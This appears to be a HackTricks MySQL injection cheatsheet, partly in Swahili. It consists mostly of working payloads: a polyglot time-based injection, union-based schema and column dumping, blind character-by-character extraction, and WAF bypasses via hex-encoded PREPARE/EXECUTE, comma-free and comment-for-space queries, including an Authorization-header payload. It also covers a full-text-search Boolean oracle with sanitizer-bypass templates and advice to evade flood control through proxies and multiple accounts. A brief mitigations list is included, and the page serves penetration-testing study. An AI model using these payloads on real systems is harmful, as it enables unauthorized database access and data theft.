# MySQL injection {{#include ../../../banners/hacktricks-training.md}} ## Maoni ```sql -- MYSQL Comment # MYSQL Comment /* MYSQL Comment */ /*! MYSQL Special SQL */ /*!32302 10*/ Comment for MySQL version 3.23.02 ``` ## Funsi Zinazovutia ### Thibitisha Mysql: ``` concat('a','b') database() version() user() system_user() @@version @@datadir rand() floor(2.9) length(1) count(1) ``` ### Kazi muhimu ```sql SELECT hex(database()) SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal SELECT DECODE(ENCODE('cleartext', 'PWD'), 'PWD')# Encode() & decpde() returns only numbers SELECT uncompress(compress(database())) #Compress & uncompress() returns only numbers SELECT replace(database(),"r","R") SELECT substr(database(),1,1)='r' SELECT substring(database(),1,1)=0x72 SELECT ascii(substring(database(),1,1))=114 SELECT database()=char(114,101,120,116,101,115,116,101,114) SELECT group_concat() FROM SELECT group_concat(if(strcmp(table_schema,database()),table_name,null)) SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END) strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep() ``` ## Zote injection ```sql SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/" ``` kutoka [https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/](https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/) ## Mtiririko Kumbuka kwamba katika matoleo "ya kisasa" ya **MySQL** unaweza kubadilisha "_**information_schema.tables**_" kwa "_**mysql.innodb_table_stats**_**"** (Hii inaweza kuwa muhimu kuepuka WAFs). ```sql SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables SELECT column_name FROM information_schema.columns WHERE table_name=""; #Get name of the columns of the table SELECT , FROM ; #Get values SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges ``` ### **Thamani 1 tu** - `group_concat()` - `Limit X,1` ### **Blind one by one** - `substr(version(),X,1)='r'` or `substring(version(),X,1)=0x70` or `ascii(substr(version(),X,1))=112` - `mid(version(),X,1)='5'` ### **Blind adding** - `LPAD(version(),1...lenght(version()),'1')='asd'...` - `RPAD(version(),1...lenght(version()),'1')='asd'...` - `SELECT RIGHT(version(),1...lenght(version()))='asd'...` - `SELECT LEFT(version(),1...lenght(version()))='asd'...` - `SELECT INSTR('foobarbar', 'fo...')=1` ## Tambua idadi ya safu Kutumia ORDER rahisi ``` order by 1 order by 2 order by 3 ... order by XXX UniOn SeLect 1 UniOn SeLect 1,2 UniOn SeLect 1,2,3 ... ``` ## MySQL Union Based ```sql UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=... UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=... UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+... ``` ## SSRF **Jifunze hapa chaguzi tofauti za** [**abuse a Mysql injection to obtain a SSRF**](mysql-ssrf.md)**.** ## WAF bypass tricks ### Kutekeleza queries kupitia Prepared Statements Ikiwa stacked queries zimeruhusiwa, inawezekana kuepuka WAFs kwa kuweka kwenye variable uwakilishi wa hex wa query unayotaka kutekeleza (kwa kutumia SET), na kisha kutumia PREPARE na EXECUTE MySQL statements ili hatimaye kutekeleza query. Kitu kama hiki: ``` 0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; # ``` Kwa taarifa zaidi tafadhali rejea [this blog post](https://karmainsecurity.com/impresscms-from-unauthenticated-sqli-to-rce). ### Mbadala za information_schema Kumbuka kwamba katika matoleo "modern" ya **MySQL** unaweza kutumia _**mysql.innodb_table_stats**_, _**sys.x$schema_flattened_keys**_ au **sys.schema_table_statistics** badala ya _**information_schema.tables**_ ### MySQLinjection bila koma Chagua safu 2 bila kutumia koma yoyote ([https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)): ``` -1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1# ``` ### Kupata thamani bila jina la safu Ikiwa wakati fulani unajua jina la jedwali lakini hujui majina ya safu ndani ya jedwali, unaweza kujaribu kugundua ni safu ngapi zipo kwa kutekeleza kitu kama: ```bash # When a True is returned, you have found the number of columns select (select "", "") = (SELECT * from demo limit 1); # 2columns select (select "", "", "") < (SELECT * from demo limit 1); # 3columns ``` Kwa dhana kuna kolamu 2 (kolamu ya kwanza ndiyo ID) na nyingine ni flag, unaweza kujaribu bruteforce yaliyomo ya flag kwa kujaribu kila herufi kwa herufi: ```bash # When True, you found the correct char and can start ruteforcing the next position select (select 1, 'flaf') = (SELECT * from demo limit 1); ``` Maelezo zaidi katika [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952) ### Injection without SPACES (`/**/` comment trick) Baadhi ya programu husafisha au kuchambua pembejeo za mtumiaji kwa kutumia functions kama `sscanf("%128s", buf)` ambazo **huacha kwenye tabia ya nafasi ya kwanza**. Kwa sababu MySQL inachukulia mfululizo `/**/` kama comment *na* kama whitespace, inaweza kutumika kuondoa kabisa normal spaces kutoka kwa payload huku ikihifadhi query kuwa syntactically valid. Mfano wa time-based blind injection unaokwepa space filter: ```http GET /api/fabric/device/status HTTP/1.1 Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-' ``` Ambayo database hupokea kama: ```sql ' OR SLEEP(5)-- -' ``` Hii ni muhimu hasa wakati: * Buffer inayoweza kudhibitiwa ina kikomo cha ukubwa (kwa mfano `%128s`) na nafasi zinaweza kumaliza ingizo mapema. * Ku-inject kupitia HTTP headers au maeneo mengine ambapo nafasi za kawaida zinaondolewa au zinatumiwa kama watenganishaji. * Imeunganishwa na `INTO OUTFILE` primitives ili kupata RCE kamili kabla ya uthibitisho (tazama sehemu ya MySQL File RCE). --- ### Historia ya MySQL Unaweza kuona utekelezaji mwingine ndani ya MySQL ukisoma jedwali: **sys.x$statement_analysis** ### Toleo mbadala**s** ``` mysql> select @@innodb_version; mysql> select @@version; mysql> select version(); ``` ## MySQL Full-Text Search (FTS) BOOLEAN MODE operator abuse (WOR) Hii sio SQL injection ya kawaida. Wakati developers wanapotuma input ya mtumiaji ndani ya `MATCH(col) AGAINST('...' IN BOOLEAN MODE)`, MySQL inatekeleza seti tajiri ya Boolean search operators ndani ya string iliyoko ndani ya nukuu. Miongozo mingi ya WAF/SAST inalenga tu kuvunja nukuu na kupuuza uso huu. Key points: - Operators zinatathminiwa ndani ya nukuu: `+` (lazima ijumlishwe), `-` (haipaswi kujumuishwa), `*` (trailing wildcard), `"..."` (exact phrase), `()` (grouping), `<`/`>`/`~` (weights). Angalia MySQL docs. - Hii inaruhusu vipimo vya uwepo/ukosefu na vipimo vya prefix bila kutoka kwenye string literal, kwa mfano `AGAINST('+admin*' IN BOOLEAN MODE)` ili kuangalia kama kuna term yoyote inaanza na `admin`. - Inafaa kujenga oracles kama “je, row yoyote ina term yenye prefix X?” na kuorodhesha strings zilizofichwa kupitia prefix expansion. Example query built by the backend: ```sql SELECT tid, firstpost FROM threads WHERE MATCH(subject) AGAINST('+jack*' IN BOOLEAN MODE); ``` Ikiwa application inarudisha majibu tofauti kulingana na kama seti ya matokeo iko tupu (kwa mfano, redirect dhidi ya error message), tabia hiyo inakuwa Boolean oracle ambayo inaweza kutumika kuorodhesha data za kibinafsi kama vichwa vilivyofichwa/ vilivyofutwa. Sanitizer bypass patterns (generic): - Boundary-trim preserving wildcard: ikiwa backend inapunguza herufi 1–2 mwishoni kwa kila neno kwa kutumia regex kama `(\b.{1,2})(\s)|(\b.{1,2}$)`, tuma `prefix*ZZ`. Msafishaji huondoa `ZZ` lakini huacha `*`, kwa hivyo `prefix*` inabaki. - Early-break stripping: ikiwa code inaondoa operators kwa kila neno lakini inasimama kusindika inapokutana na token yoyote yenye urefu ≥ min length, tuma token mbili: ya kwanza ni token ya taka inayokidhi kizingiti cha urefu, ya pili inaabeba operator payload. Kwa mfano: `&&&&& +jack*ZZ` → baada ya kusafishwa: `+&&&&& +jack*`. Payload template (URL-encoded): ``` keywords=%26%26%26%26%26+%2B{FUZZ}*xD ``` - `%26` ni `&`, `%2B` ni `+`. The trailing `xD` (au herufi mbili yoyote) inakatwa na cleaner, ikihifadhi `{FUZZ}*`. - Tendea redirect kama “match” na ukurasa wa error kama “no match”. Usifuate redirects kiotomatiki ili oracle ibaki ionekane. Enumeration workflow: 1) Anza na `{FUZZ} = a…z,0…9` ili kupata mechi za herufi ya kwanza kupitia `+a*`, `+b*`, … 2) Kwa kila prefix chanya, gawia: `a* → aa* / ab* / …`. Rudia hadi upate mnyororo mzima. 3) Sambaza requests (proxies, akaunti nyingi) ikiwa app inatekeleza flood control. Why titles often leak while contents don’t: - Baadhi ya apps hufanya ukaguzi wa visibility tu baada ya MATCH ya awali kwenye titles/subjects. Ikiwa control-flow inategemea matokeo ya “any results?” kabla ya kuchuja, existence leaks hutokea. Mitigations: - Ikiwa hautahitaji Boolean logic, tumia `IN NATURAL LANGUAGE MODE` au tibu user input kama literal (escape/quote inazuia operators katika mode nyingine). - Ikiwa Boolean mode inahitajika, ondoa au nyamaza operators zote za Boolean (`+ - * " ( ) < > ~`) kwa kila token (hakuna kuvunjwa mapema) baada ya tokenization. - Weka visibility/authorization filters kabla ya MATCH, au panga majibu yafanane (muda/status thabiti) wakati result set ni empty vs. non-empty. - Kagua vipengele vinavyofanana katika DBMS nyingine: PostgreSQL `to_tsquery`/`websearch_to_tsquery`, SQL Server/Oracle/Db2 `CONTAINS` pia huchanganua operators ndani ya quoted arguments. Notes: - Prepared statements hazilindi dhidi ya semantic abuse ya `REGEXP` au search operators. Ingizo kama `.*` bado ni permissive regex hata ndani ya quoted `REGEXP '.*'`. Tumia allow-lists au guard wazi. ## Other MYSQL injection guides - [PayloadsAllTheThings – MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md) ## References - [PayloadsAllTheThings – MySQL Injection cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md) - [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/) - [MySQL Full-Text Search – Boolean mode](https://dev.mysql.com/doc/refman/8.4/en/fulltext-boolean.html) - [MySQL Full-Text Search – Overview](https://dev.mysql.com/doc/refman/8.4/en/fulltext-search.html) - [MySQL REGEXP documentation](https://dev.mysql.com/doc/refman/8.4/en/regexp.html) - [ReDisclosure: New technique for exploiting Full-Text Search in MySQL (myBB case study)](https://exploit.az/posts/wor/) {{#include ../../../banners/hacktricks-training.md}}